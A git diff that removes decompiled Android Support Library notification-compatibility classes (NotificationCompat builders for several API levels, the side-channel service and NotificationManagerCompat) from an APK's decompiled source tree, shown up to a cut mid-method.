a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatHoneycomb.java +++ /dev/null @@ -1,17 +0,0 @@ -package android.support.v4.app; - -import android.app.Notification; -import android.app.PendingIntent; -import android.content.Context; -import android.graphics.Bitmap; -import android.widget.RemoteViews; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class NotificationCompatHoneycomb { - NotificationCompatHoneycomb() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static Notification add(Context context, Notification notification, CharSequence charSequence, CharSequence charSequence2, CharSequence charSequence3, RemoteViews remoteViews, int i, PendingIntent pendingIntent, PendingIntent pendingIntent2, Bitmap bitmap) { - return new Notification.Builder(context).setWhen(notification.when).setSmallIcon(notification.icon, notification.iconLevel).setContent(notification.contentView).setTicker(notification.tickerText, remoteViews).setSound(notification.sound, notification.audioStreamType).setVibrate(notification.vibrate).setLights(notification.ledARGB, notification.ledOnMS, notification.ledOffMS).setOngoing((notification.flags & 2) != 0).setOnlyAlertOnce((notification.flags & 8) != 0).setAutoCancel((notification.flags & 16) != 0).setDefaults(notification.defaults).setContentTitle(charSequence).setContentText(charSequence2).setContentInfo(charSequence3).setContentIntent(pendingIntent).setDeleteIntent(notification.deleteIntent).setFullScreenIntent(pendingIntent2, (notification.flags & 128) != 0).setLargeIcon(bitmap).setNumber(i).getNotification(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatIceCreamSandwich.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatIceCreamSandwich.java deleted file mode 100644 index d93f8d8..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatIceCreamSandwich.java +++ /dev/null @@ -1,36 +0,0 @@ -package android.support.v4.app; - -import android.app.Notification; -import android.app.PendingIntent; -import android.content.Context; -import android.graphics.Bitmap; -import android.widget.RemoteViews; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class NotificationCompatIceCreamSandwich { - NotificationCompatIceCreamSandwich() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class Builder implements NotificationBuilderWithBuilderAccessor { - private Notification.Builder b; - - public Builder(Context context, Notification notification, CharSequence charSequence, CharSequence charSequence2, CharSequence charSequence3, RemoteViews remoteViews, int i, PendingIntent pendingIntent, PendingIntent pendingIntent2, Bitmap bitmap, int i2, int i3, boolean z) { - boolean z2 = true; - Notification.Builder deleteIntent = new Notification.Builder(context).setWhen(notification.when).setSmallIcon(notification.icon, notification.iconLevel).setContent(notification.contentView).setTicker(notification.tickerText, remoteViews).setSound(notification.sound, notification.audioStreamType).setVibrate(notification.vibrate).setLights(notification.ledARGB, notification.ledOnMS, notification.ledOffMS).setOngoing((notification.flags & 2) != 0).setOnlyAlertOnce((notification.flags & 8) != 0).setAutoCancel((notification.flags & 16) != 0).setDefaults(notification.defaults).setContentTitle(charSequence).setContentText(charSequence2).setContentInfo(charSequence3).setContentIntent(pendingIntent).setDeleteIntent(notification.deleteIntent); - if ((notification.flags & 128) == 0) { - z2 = false; - } - this.b = deleteIntent.setFullScreenIntent(pendingIntent2, z2).setLargeIcon(bitmap).setNumber(i).setProgress(i2, i3, z); - } - - @Override // android.support.v4.app.NotificationBuilderWithBuilderAccessor - public Notification.Builder getBuilder() { - return this.b; - } - - @Override // android.support.v4.app.NotificationBuilderWithBuilderAccessor - public Notification build() { - return this.b.getNotification(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatJellybean.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatJellybean.java deleted file mode 100644 index 712fc62..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatJellybean.java +++ /dev/null @@ -1,349 +0,0 @@ -package android.support.v4.app; - -import android.app.Notification; -import android.app.PendingIntent; -import android.content.Context; -import android.graphics.Bitmap; -import android.os.Bundle; -import android.os.Parcelable; -import android.support.v4.app.NotificationCompatBase; -import android.support.v4.app.RemoteInputCompatBase; -import android.util.Log; -import android.util.SparseArray; -import android.widget.RemoteViews; -import java.lang.reflect.Field; -import java.util.ArrayList; -import java.util.Iterator; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class NotificationCompatJellybean { - static final String EXTRA_ACTION_EXTRAS = "android.support.actionExtras"; - static final String EXTRA_ALLOW_GENERATED_REPLIES = "android.support.allowGeneratedReplies"; - static final String EXTRA_GROUP_KEY = "android.support.groupKey"; - static final String EXTRA_GROUP_SUMMARY = "android.support.isGroupSummary"; - static final String EXTRA_LOCAL_ONLY = "android.support.localOnly"; - static final String EXTRA_REMOTE_INPUTS = "android.support.remoteInputs"; - static final String EXTRA_SORT_KEY = "android.support.sortKey"; - static final String EXTRA_USE_SIDE_CHANNEL = "android.support.useSideChannel"; - private static final String KEY_ACTION_INTENT = "actionIntent"; - private static final String KEY_ALLOW_GENERATED_REPLIES = "allowGeneratedReplies"; - private static final String KEY_EXTRAS = "extras"; - private static final String KEY_ICON = "icon"; - private static final String KEY_REMOTE_INPUTS = "remoteInputs"; - private static final String KEY_TITLE = "title"; - public static final String TAG = "NotificationCompat"; - private static Class sActionClass; - private static Field sActionIconField; - private static Field sActionIntentField; - private static Field sActionTitleField; - private static boolean sActionsAccessFailed; - private static Field sActionsField; - private static Field sExtrasField; - private static boolean sExtrasFieldAccessFailed; - private static final Object sExtrasLock = new Object(); - private static final Object sActionsLock = new Object(); - - NotificationCompatJellybean() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class Builder implements NotificationBuilderWithBuilderAccessor, NotificationBuilderWithActions { - private Notification.Builder b; - private List mActionExtrasList = new ArrayList(); - private RemoteViews mBigContentView; - private RemoteViews mContentView; - private final Bundle mExtras; - - public Builder(Context context, Notification notification, CharSequence charSequence, CharSequence charSequence2, CharSequence charSequence3, RemoteViews remoteViews, int i, PendingIntent pendingIntent, PendingIntent pendingIntent2, Bitmap bitmap, int i2, int i3, boolean z, boolean z2, int i4, CharSequence charSequence4, boolean z3, Bundle bundle, String str, boolean z4, String str2, RemoteViews remoteViews2, RemoteViews remoteViews3) { - PendingIntent pendingIntent3; - boolean z5 = false; - Notification.Builder deleteIntent = new Notification.Builder(context).setWhen(notification.when).setSmallIcon(notification.icon, notification.iconLevel).setContent(notification.contentView).setTicker(notification.tickerText, remoteViews).setSound(notification.sound, notification.audioStreamType).setVibrate(notification.vibrate).setLights(notification.ledARGB, notification.ledOnMS, notification.ledOffMS).setOngoing((notification.flags & 2) != 0).setOnlyAlertOnce((notification.flags & 8) != 0).setAutoCancel((notification.flags & 16) != 0).setDefaults(notification.defaults).setContentTitle(charSequence).setContentText(charSequence2).setSubText(charSequence4).setContentInfo(charSequence3).setContentIntent(pendingIntent).setDeleteIntent(notification.deleteIntent); - if ((notification.flags & 128) != 0) { - pendingIntent3 = pendingIntent2; - z5 = true; - } else { - pendingIntent3 = pendingIntent2; - } - this.b = deleteIntent.setFullScreenIntent(pendingIntent3, z5).setLargeIcon(bitmap).setNumber(i).setUsesChronometer(z2).setPriority(i4).setProgress(i2, i3, z); - Bundle bundle2 = new Bundle(); - this.mExtras = bundle2; - if (bundle != null) { - bundle2.putAll(bundle); - } - if (z3) { - bundle2.putBoolean("android.support.localOnly", true); - } - if (str != null) { - bundle2.putString("android.support.groupKey", str); - if (z4) { - bundle2.putBoolean("android.support.isGroupSummary", true); - } else { - bundle2.putBoolean("android.support.useSideChannel", true); - } - } - if (str2 != null) { - bundle2.putString("android.support.sortKey", str2); - } - this.mContentView = remoteViews2; - this.mBigContentView = remoteViews3; - } - - @Override // android.support.v4.app.NotificationBuilderWithActions - public void addAction(NotificationCompatBase.Action action) { - this.mActionExtrasList.add(NotificationCompatJellybean.writeActionAndGetExtras(this.b, action)); - } - - @Override // android.support.v4.app.NotificationBuilderWithBuilderAccessor - public Notification.Builder getBuilder() { - return this.b; - } - - @Override // android.support.v4.app.NotificationBuilderWithBuilderAccessor - public Notification build() { - Notification build = this.b.build(); - Bundle extras = NotificationCompatJellybean.getExtras(build); - Bundle bundle = new Bundle(this.mExtras); - for (String str : this.mExtras.keySet()) { - if (extras.containsKey(str)) { - bundle.remove(str); - } - } - extras.putAll(bundle); - SparseArray buildActionExtrasMap = NotificationCompatJellybean.buildActionExtrasMap(this.mActionExtrasList); - if (buildActionExtrasMap != null) { - NotificationCompatJellybean.getExtras(build).putSparseParcelableArray("android.support.actionExtras", buildActionExtrasMap); - } - RemoteViews remoteViews = this.mContentView; - if (remoteViews != null) { - build.contentView = remoteViews; - } - RemoteViews remoteViews2 = this.mBigContentView; - if (remoteViews2 != null) { - build.bigContentView = remoteViews2; - } - return build; - } - } - - public static void addBigTextStyle(NotificationBuilderWithBuilderAccessor notificationBuilderWithBuilderAccessor, CharSequence charSequence, boolean z, CharSequence charSequence2, CharSequence charSequence3) { - Notification.BigTextStyle bigText = new Notification.BigTextStyle(notificationBuilderWithBuilderAccessor.getBuilder()).setBigContentTitle(charSequence).bigText(charSequence3); - if (z) { - bigText.setSummaryText(charSequence2); - } - } - - public static void addBigPictureStyle(NotificationBuilderWithBuilderAccessor notificationBuilderWithBuilderAccessor, CharSequence charSequence, boolean z, CharSequence charSequence2, Bitmap bitmap, Bitmap bitmap2, boolean z2) { - Notification.BigPictureStyle bigPicture = new Notification.BigPictureStyle(notificationBuilderWithBuilderAccessor.getBuilder()).setBigContentTitle(charSequence).bigPicture(bitmap); - if (z2) { - bigPicture.bigLargeIcon(bitmap2); - } - if (z) { - bigPicture.setSummaryText(charSequence2); - } - } - - public static void addInboxStyle(NotificationBuilderWithBuilderAccessor notificationBuilderWithBuilderAccessor, CharSequence charSequence, boolean z, CharSequence charSequence2, ArrayList arrayList) { - Notification.InboxStyle bigContentTitle = new Notification.InboxStyle(notificationBuilderWithBuilderAccessor.getBuilder()).setBigContentTitle(charSequence); - if (z) { - bigContentTitle.setSummaryText(charSequence2); - } - Iterator it = arrayList.iterator(); - while (it.hasNext()) { - bigContentTitle.addLine(it.next()); - } - } - - public static SparseArray buildActionExtrasMap(List list) { - int size = list.size(); - SparseArray sparseArray = null; - for (int i = 0; i < size; i++) { - Bundle bundle = list.get(i); - if (bundle != null) { - if (sparseArray == null) { - sparseArray = new SparseArray<>(); - } - sparseArray.put(i, bundle); - } - } - return sparseArray; - } - - public static Bundle getExtras(Notification notification) { - synchronized (sExtrasLock) { - if (sExtrasFieldAccessFailed) { - return null; - } - try { - if (sExtrasField == null) { - Field declaredField = Notification.class.getDeclaredField(KEY_EXTRAS); - if (!Bundle.class.isAssignableFrom(declaredField.getType())) { - Log.e(TAG, "Notification.extras field is not of type Bundle"); - sExtrasFieldAccessFailed = true; - return null; - } - declaredField.setAccessible(true); - sExtrasField = declaredField; - } - Bundle bundle = (Bundle) sExtrasField.get(notification); - if (bundle == null) { - bundle = new Bundle(); - sExtrasField.set(notification, bundle); - } - return bundle; - } catch (IllegalAccessException e) { - Log.e(TAG, "Unable to access notification extras", e); - sExtrasFieldAccessFailed = true; - return null; - } catch (NoSuchFieldException e2) { - Log.e(TAG, "Unable to access notification extras", e2); - sExtrasFieldAccessFailed = true; - return null; - } - } - } - - public static NotificationCompatBase.Action readAction(NotificationCompatBase.Action.Factory factory, RemoteInputCompatBase.RemoteInput.Factory factory2, int i, CharSequence charSequence, PendingIntent pendingIntent, Bundle bundle) { - RemoteInputCompatBase.RemoteInput[] remoteInputArr; - boolean z; - if (bundle != null) { - remoteInputArr = RemoteInputCompatJellybean.fromBundleArray(BundleUtil.getBundleArrayFromBundle(bundle, "android.support.remoteInputs"), factory2); - z = bundle.getBoolean(EXTRA_ALLOW_GENERATED_REPLIES); - } else { - remoteInputArr = null; - z = false; - } - return factory.build(i, charSequence, pendingIntent, bundle, remoteInputArr, z); - } - - public static Bundle writeActionAndGetExtras(Notification.Builder builder, NotificationCompatBase.Action action) { - builder.addAction(action.getIcon(), action.getTitle(), action.getActionIntent()); - Bundle bundle = new Bundle(action.getExtras()); - if (action.getRemoteInputs() != null) { - bundle.putParcelableArray("android.support.remoteInputs", RemoteInputCompatJellybean.toBundleArray(action.getRemoteInputs())); - } - bundle.putBoolean(EXTRA_ALLOW_GENERATED_REPLIES, action.getAllowGeneratedReplies()); - return bundle; - } - - public static int getActionCount(Notification notification) { - int length; - synchronized (sActionsLock) { - Object[] actionObjectsLocked = getActionObjectsLocked(notification); - length = actionObjectsLocked != null ? actionObjectsLocked.length : 0; - } - return length; - } - - public static NotificationCompatBase.Action getAction(Notification notification, int i, NotificationCompatBase.Action.Factory factory, RemoteInputCompatBase.RemoteInput.Factory factory2) { - NotificationCompatBase.Action readAction; - SparseArray sparseParcelableArray; - synchronized (sActionsLock) { - try { - try { - Object obj = getActionObjectsLocked(notification)[i]; - Bundle extras = getExtras(notification); - readAction = readAction(factory, factory2, sActionIconField.getInt(obj), (CharSequence) sActionTitleField.get(obj), (PendingIntent) sActionIntentField.get(obj), (extras == null || (sparseParcelableArray = extras.getSparseParcelableArray("android.support.actionExtras")) == null) ? null : (Bundle) sparseParcelableArray.get(i)); - } catch (IllegalAccessException e) { - Log.e(TAG, "Unable to access notification actions", e); - sActionsAccessFailed = true; - return null; - } - } catch (Throwable th) { - throw th; - } - } - return readAction; - } - - private static Object[] getActionObjectsLocked(Notification notification) { - synchronized (sActionsLock) { - if (ensureActionReflectionReadyLocked()) { - try { - return (Object[]) sActionsField.get(notification); - } catch (IllegalAccessException e) { - Log.e(TAG, "Unable to access notification actions", e); - sActionsAccessFailed = true; - return null; - } - } - return null; - } - } - - private static boolean ensureActionReflectionReadyLocked() { - if (sActionsAccessFailed) { - return false; - } - try { - if (sActionsField == null) { - Class cls = Class.forName("android.app.Notification$Action"); - sActionClass = cls; - sActionIconField = cls.getDeclaredField(KEY_ICON); - sActionTitleField = sActionClass.getDeclaredField(KEY_TITLE); - sActionIntentField = sActionClass.getDeclaredField(KEY_ACTION_INTENT); - Field declaredField = Notification.class.getDeclaredField("actions"); - sActionsField = declaredField; - declaredField.setAccessible(true); - } - } catch (ClassNotFoundException e) { - Log.e(TAG, "Unable to access notification actions", e); - sActionsAccessFailed = true; - } catch (NoSuchFieldException e2) { - Log.e(TAG, "Unable to access notification actions", e2); - sActionsAccessFailed = true; - } - return !sActionsAccessFailed; - } - - public static NotificationCompatBase.Action[] getActionsFromParcelableArrayList(ArrayList arrayList, NotificationCompatBase.Action.Factory factory, RemoteInputCompatBase.RemoteInput.Factory factory2) { - if (arrayList == null) { - return null; - } - NotificationCompatBase.Action[] newArray = factory.newArray(arrayList.size()); - for (int i = 0; i < newArray.length; i++) { - newArray[i] = getActionFromBundle((Bundle) arrayList.get(i), factory, factory2); - } - return newArray; - } - - private static NotificationCompatBase.Action getActionFromBundle(Bundle bundle, NotificationCompatBase.Action.Factory factory, RemoteInputCompatBase.RemoteInput.Factory factory2) { - return factory.build(bundle.getInt(KEY_ICON), bundle.getCharSequence(KEY_TITLE), (PendingIntent) bundle.getParcelable(KEY_ACTION_INTENT), bundle.getBundle(KEY_EXTRAS), RemoteInputCompatJellybean.fromBundleArray(BundleUtil.getBundleArrayFromBundle(bundle, KEY_REMOTE_INPUTS), factory2), bundle.getBoolean(KEY_ALLOW_GENERATED_REPLIES)); - } - - public static ArrayList getParcelableArrayListForActions(NotificationCompatBase.Action[] actionArr) { - if (actionArr == null) { - return null; - } - ArrayList arrayList = new ArrayList<>(actionArr.length); - for (NotificationCompatBase.Action action : actionArr) { - arrayList.add(getBundleForAction(action)); - } - return arrayList; - } - - private static Bundle getBundleForAction(NotificationCompatBase.Action action) { - Bundle bundle = new Bundle(); - bundle.putInt(KEY_ICON, action.getIcon()); - bundle.putCharSequence(KEY_TITLE, action.getTitle()); - bundle.putParcelable(KEY_ACTION_INTENT, action.getActionIntent()); - bundle.putBundle(KEY_EXTRAS, action.getExtras()); - bundle.putParcelableArray(KEY_REMOTE_INPUTS, RemoteInputCompatJellybean.toBundleArray(action.getRemoteInputs())); - return bundle; - } - - public static boolean getLocalOnly(Notification notification) { - return getExtras(notification).getBoolean("android.support.localOnly"); - } - - public static String getGroup(Notification notification) { - return getExtras(notification).getString("android.support.groupKey"); - } - - public static boolean isGroupSummary(Notification notification) { - return getExtras(notification).getBoolean("android.support.isGroupSummary"); - } - - public static String getSortKey(Notification notification) { - return getExtras(notification).getString("android.support.sortKey"); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatKitKat.java deleted file mode 100644 index 10907ae..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatKitKat.java +++ /dev/null @@ -1,126 +0,0 @@ -package android.support.v4.app; - -import android.app.Notification; -import android.app.PendingIntent; -import android.content.Context; -import android.graphics.Bitmap; -import android.os.Bundle; -import android.support.v4.app.NotificationCompatBase; -import android.support.v4.app.RemoteInputCompatBase; -import android.util.SparseArray; -import android.widget.RemoteViews; -import java.util.ArrayList; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class NotificationCompatKitKat { - NotificationCompatKitKat() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class Builder implements NotificationBuilderWithBuilderAccessor, NotificationBuilderWithActions { - private Notification.Builder b; - private List mActionExtrasList = new ArrayList(); - private RemoteViews mBigContentView; - private RemoteViews mContentView; - private Bundle mExtras; - - public Builder(Context context, Notification notification, CharSequence charSequence, CharSequence charSequence2, CharSequence charSequence3, RemoteViews remoteViews, int i, PendingIntent pendingIntent, PendingIntent pendingIntent2, Bitmap bitmap, int i2, int i3, boolean z, boolean z2, boolean z3, int i4, CharSequence charSequence4, boolean z4, ArrayList arrayList, Bundle bundle, String str, boolean z5, String str2, RemoteViews remoteViews2, RemoteViews remoteViews3) { - PendingIntent pendingIntent3; - boolean z6 = false; - Notification.Builder deleteIntent = new Notification.Builder(context).setWhen(notification.when).setShowWhen(z2).setSmallIcon(notification.icon, notification.iconLevel).setContent(notification.contentView).setTicker(notification.tickerText, remoteViews).setSound(notification.sound, notification.audioStreamType).setVibrate(notification.vibrate).setLights(notification.ledARGB, notification.ledOnMS, notification.ledOffMS).setOngoing((notification.flags & 2) != 0).setOnlyAlertOnce((notification.flags & 8) != 0).setAutoCancel((notification.flags & 16) != 0).setDefaults(notification.defaults).setContentTitle(charSequence).setContentText(charSequence2).setSubText(charSequence4).setContentInfo(charSequence3).setContentIntent(pendingIntent).setDeleteIntent(notification.deleteIntent); - if ((notification.flags & 128) != 0) { - pendingIntent3 = pendingIntent2; - z6 = true; - } else { - pendingIntent3 = pendingIntent2; - } - this.b = deleteIntent.setFullScreenIntent(pendingIntent3, z6).setLargeIcon(bitmap).setNumber(i).setUsesChronometer(z3).setPriority(i4).setProgress(i2, i3, z); - Bundle bundle2 = new Bundle(); - this.mExtras = bundle2; - if (bundle != null) { - bundle2.putAll(bundle); - } - if (arrayList != null && !arrayList.isEmpty()) { - this.mExtras.putStringArray(NotificationCompat.EXTRA_PEOPLE, (String[]) arrayList.toArray(new String[arrayList.size()])); - } - if (z4) { - this.mExtras.putBoolean(NotificationCompatExtras.EXTRA_LOCAL_ONLY, true); - } - if (str != null) { - this.mExtras.putString(NotificationCompatExtras.EXTRA_GROUP_KEY, str); - if (z5) { - this.mExtras.putBoolean(NotificationCompatExtras.EXTRA_GROUP_SUMMARY, true); - } else { - this.mExtras.putBoolean(NotificationManagerCompat.EXTRA_USE_SIDE_CHANNEL, true); - } - } - if (str2 != null) { - this.mExtras.putString(NotificationCompatExtras.EXTRA_SORT_KEY, str2); - } - this.mContentView = remoteViews2; - this.mBigContentView = remoteViews3; - } - - @Override // android.support.v4.app.NotificationBuilderWithActions - public void addAction(NotificationCompatBase.Action action) { - this.mActionExtrasList.add(NotificationCompatJellybean.writeActionAndGetExtras(this.b, action)); - } - - @Override // android.support.v4.app.NotificationBuilderWithBuilderAccessor - public Notification.Builder getBuilder() { - return this.b; - } - - @Override // android.support.v4.app.NotificationBuilderWithBuilderAccessor - public Notification build() { - SparseArray buildActionExtrasMap = NotificationCompatJellybean.buildActionExtrasMap(this.mActionExtrasList); - if (buildActionExtrasMap != null) { - this.mExtras.putSparseParcelableArray(NotificationCompatExtras.EXTRA_ACTION_EXTRAS, buildActionExtrasMap); - } - this.b.setExtras(this.mExtras); - Notification build = this.b.build(); - RemoteViews remoteViews = this.mContentView; - if (remoteViews != null) { - build.contentView = remoteViews; - } - RemoteViews remoteViews2 = this.mBigContentView; - if (remoteViews2 != null) { - build.bigContentView = remoteViews2; - } - return build; - } - } - - public static Bundle getExtras(Notification notification) { - return notification.extras; - } - - public static int getActionCount(Notification notification) { - if (notification.actions != null) { - return notification.actions.length; - } - return 0; - } - - public static NotificationCompatBase.Action getAction(Notification notification, int i, NotificationCompatBase.Action.Factory factory, RemoteInputCompatBase.RemoteInput.Factory factory2) { - Notification.Action action = notification.actions[i]; - SparseArray sparseParcelableArray = notification.extras.getSparseParcelableArray(NotificationCompatExtras.EXTRA_ACTION_EXTRAS); - return NotificationCompatJellybean.readAction(factory, factory2, action.icon, action.title, action.actionIntent, sparseParcelableArray != null ? (Bundle) sparseParcelableArray.get(i) : null); - } - - public static boolean getLocalOnly(Notification notification) { - return notification.extras.getBoolean(NotificationCompatExtras.EXTRA_LOCAL_ONLY); - } - - public static String getGroup(Notification notification) { - return notification.extras.getString(NotificationCompatExtras.EXTRA_GROUP_KEY); - } - - public static boolean isGroupSummary(Notification notification) { - return notification.extras.getBoolean(NotificationCompatExtras.EXTRA_GROUP_SUMMARY); - } - - public static String getSortKey(Notification notification) { - return notification.extras.getString(NotificationCompatExtras.EXTRA_SORT_KEY); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatSideChannelService.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatSideChannelService.java deleted file mode 100644 index 572deac..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationCompatSideChannelService.java +++ /dev/null @@ -1,70 +0,0 @@ -package android.support.v4.app; - -import android.app.Notification; -import android.app.Service; -import android.content.Intent; -import android.os.IBinder; -import android.os.RemoteException; -import android.support.v4.app.INotificationSideChannel; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public abstract class NotificationCompatSideChannelService extends Service { - public abstract void cancel(String str, int i, String str2); - - public abstract void cancelAll(String str); - - public abstract void notify(String str, int i, String str2, Notification notification); - - @Override // android.app.Service - public IBinder onBind(Intent intent) { - intent.getAction().equals(NotificationManagerCompat.ACTION_BIND_SIDE_CHANNEL); - return null; - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class NotificationSideChannelStub extends INotificationSideChannel.Stub { - NotificationSideChannelStub() { - } - - @Override // android.support.v4.app.INotificationSideChannel - public void notify(String str, int i, String str2, Notification notification) throws RemoteException { - NotificationCompatSideChannelService.this.checkPermission(getCallingUid(), str); - long clearCallingIdentity = clearCallingIdentity(); - try { - NotificationCompatSideChannelService.this.notify(str, i, str2, notification); - } finally { - restoreCallingIdentity(clearCallingIdentity); - } - } - - @Override // android.support.v4.app.INotificationSideChannel - public void cancel(String str, int i, String str2) throws RemoteException { - NotificationCompatSideChannelService.this.checkPermission(getCallingUid(), str); - long clearCallingIdentity = clearCallingIdentity(); - try { - NotificationCompatSideChannelService.this.cancel(str, i, str2); - } finally { - restoreCallingIdentity(clearCallingIdentity); - } - } - - @Override // android.support.v4.app.INotificationSideChannel - public void cancelAll(String str) { - NotificationCompatSideChannelService.this.checkPermission(getCallingUid(), str); - long clearCallingIdentity = clearCallingIdentity(); - try { - NotificationCompatSideChannelService.this.cancelAll(str); - } finally { - restoreCallingIdentity(clearCallingIdentity); - } - } - } - - void checkPermission(int i, String str) { - for (String str2 : getPackageManager().getPackagesForUid(i)) { - if (str2.equals(str)) { - return; - } - } - throw new SecurityException("NotificationSideChannelService: Uid " + i + " is not authorized for package " + str); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationManagerCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationManagerCompat.java deleted file mode 100644 index 7df938e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/NotificationManagerCompat.java +++ /dev/null @@ -1,535 +0,0 @@ -package android.support.v4.app; - -import android.app.Notification; -import android.app.NotificationManager; -import android.content.ComponentName; -import android.content.Context; -import android.content.Intent; -import android.content.ServiceConnection; -import android.content.pm.ResolveInfo; -import android.os.Bundle; -import android.os.DeadObjectException; -import android.os.Handler; -import android.os.HandlerThread; -import android.os.IBinder; -import android.os.Message; -import android.os.RemoteException; -import android.provider.Settings; -import android.support.v4.app.INotificationSideChannel; -import android.support.v4.os.BuildCompat; -import android.util.Log; -import java.util.HashMap; -import java.util.HashSet; -import java.util.Iterator; -import java.util.LinkedList; -import java.util.List; -import java.util.Map; -import java.util.Set; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class NotificationManagerCompat { - public static final String ACTION_BIND_SIDE_CHANNEL = "android.support.BIND_NOTIFICATION_SIDE_CHANNEL"; - public static final String EXTRA_USE_SIDE_CHANNEL = "android.support.useSideChannel"; - private static final Impl IMPL; - public static final int IMPORTANCE_DEFAULT = 3; - public static final int IMPORTANCE_HIGH = 4; - public static final int IMPORTANCE_LOW = 2; - public static final int IMPORTANCE_MAX = 5; - public static final int IMPORTANCE_MIN = 1; - public static final int IMPORTANCE_NONE = 0; - public static final int IMPORTANCE_UNSPECIFIED = -1000; - static final int MAX_SIDE_CHANNEL_SDK_VERSION = 19; - private static final String SETTING_ENABLED_NOTIFICATION_LISTENERS = "enabled_notification_listeners"; - static final int SIDE_CHANNEL_BIND_FLAGS; - private static final int SIDE_CHANNEL_RETRY_BASE_INTERVAL_MS = 1000; - private static final int SIDE_CHANNEL_RETRY_MAX_COUNT = 6; - private static final String TAG = "NotifManCompat"; - private static String sEnabledNotificationListeners; - private static SideChannelManager sSideChannelManager; - private final Context mContext; - private final NotificationManager mNotificationManager; - private static final Object sEnabledNotificationListenersLock = new Object(); - private static Set sEnabledNotificationListenerPackages = new HashSet(); - private static final Object sLock = new Object(); - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface Impl { - boolean areNotificationsEnabled(Context context, NotificationManager notificationManager); - - void cancelNotification(NotificationManager notificationManager, String str, int i); - - int getImportance(NotificationManager notificationManager); - - int getSideChannelBindFlags(); - - void postNotification(NotificationManager notificationManager, String str, int i, Notification notification); - } - - /* JADX INFO: Access modifiers changed from: private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface Task { - void send(INotificationSideChannel iNotificationSideChannel) throws RemoteException; - } - - static { - if (BuildCompat.isAtLeastN()) { - IMPL = new ImplApi24(); - } else { - IMPL = new ImplKitKat(); - } - SIDE_CHANNEL_BIND_FLAGS = IMPL.getSideChannelBindFlags(); - } - - public static NotificationManagerCompat from(Context context) { - return new NotificationManagerCompat(context); - } - - private NotificationManagerCompat(Context context) { - this.mContext = context; - this.mNotificationManager = (NotificationManager) context.getSystemService("notification"); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ImplBase implements Impl { - @Override // android.support.v4.app.NotificationManagerCompat.Impl - public boolean areNotificationsEnabled(Context context, NotificationManager notificationManager) { - return true; - } - - @Override // android.support.v4.app.NotificationManagerCompat.Impl - public int getImportance(NotificationManager notificationManager) { - return NotificationManagerCompat.IMPORTANCE_UNSPECIFIED; - } - - @Override // android.support.v4.app.NotificationManagerCompat.Impl - public int getSideChannelBindFlags() { - return 1; - } - - ImplBase() { - } - - @Override // android.support.v4.app.NotificationManagerCompat.Impl - public void cancelNotification(NotificationManager notificationManager, String str, int i) { - notificationManager.cancel(str, i); - } - - @Override // android.support.v4.app.NotificationManagerCompat.Impl - public void postNotification(NotificationManager notificationManager, String str, int i, Notification notification) { - notificationManager.notify(str, i, notification); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ImplIceCreamSandwich extends ImplBase { - @Override // android.support.v4.app.NotificationManagerCompat.ImplBase, android.support.v4.app.NotificationManagerCompat.Impl - public int getSideChannelBindFlags() { - return 33; - } - - ImplIceCreamSandwich() { - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ImplKitKat extends ImplIceCreamSandwich { - ImplKitKat() { - } - - @Override // android.support.v4.app.NotificationManagerCompat.ImplBase, android.support.v4.app.NotificationManagerCompat.Impl - public boolean areNotificationsEnabled(Context context, NotificationManager notificationManager) { - return NotificationManagerCompatKitKat.areNotificationsEnabled(context); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class ImplApi24 extends ImplKitKat { - ImplApi24() { - } - - @Override // android.support.v4.app.NotificationManagerCompat.ImplKitKat, android.support.v4.app.NotificationManagerCompat.ImplBase, android.support.v4.app.NotificationManagerCompat.Impl - public boolean areNotificationsEnabled(Context context, NotificationManager notificationManager) { - return NotificationManagerCompatApi24.areNotificationsEnabled(notificationManager); - } - - @Override // android.support.v4.app.NotificationManagerCompat.ImplBase, android.support.v4.app.NotificationManagerCompat.Impl - public int getImportance(NotificationManager notificationManager) { - return NotificationManagerCompatApi24.getImportance(notificationManager); - } - } - - public void cancel(int i) { - cancel(null, i); - } - - public void cancel(String str, int i) { - IMPL.cancelNotification(this.mNotificationManager, str, i); - } - - public void cancelAll() { - this.mNotificationManager.cancelAll(); - } - - public void notify(int i, Notification notification) { - notify(null, i, notification); - } - - public void notify(String str, int i, Notification notification) { - if (useSideChannelForNotification(notification)) { - pushSideChannelQueue(new NotifyTask(this.mContext.getPackageName(), i, str, notification)); - IMPL.cancelNotification(this.mNotificationManager, str, i); - return; 